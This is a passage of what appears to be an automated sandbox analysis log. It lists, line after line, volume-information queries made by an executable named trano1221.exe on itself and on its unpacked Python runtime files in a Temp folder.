Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pyexpat.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\jaraco VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\wheel-0.24.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
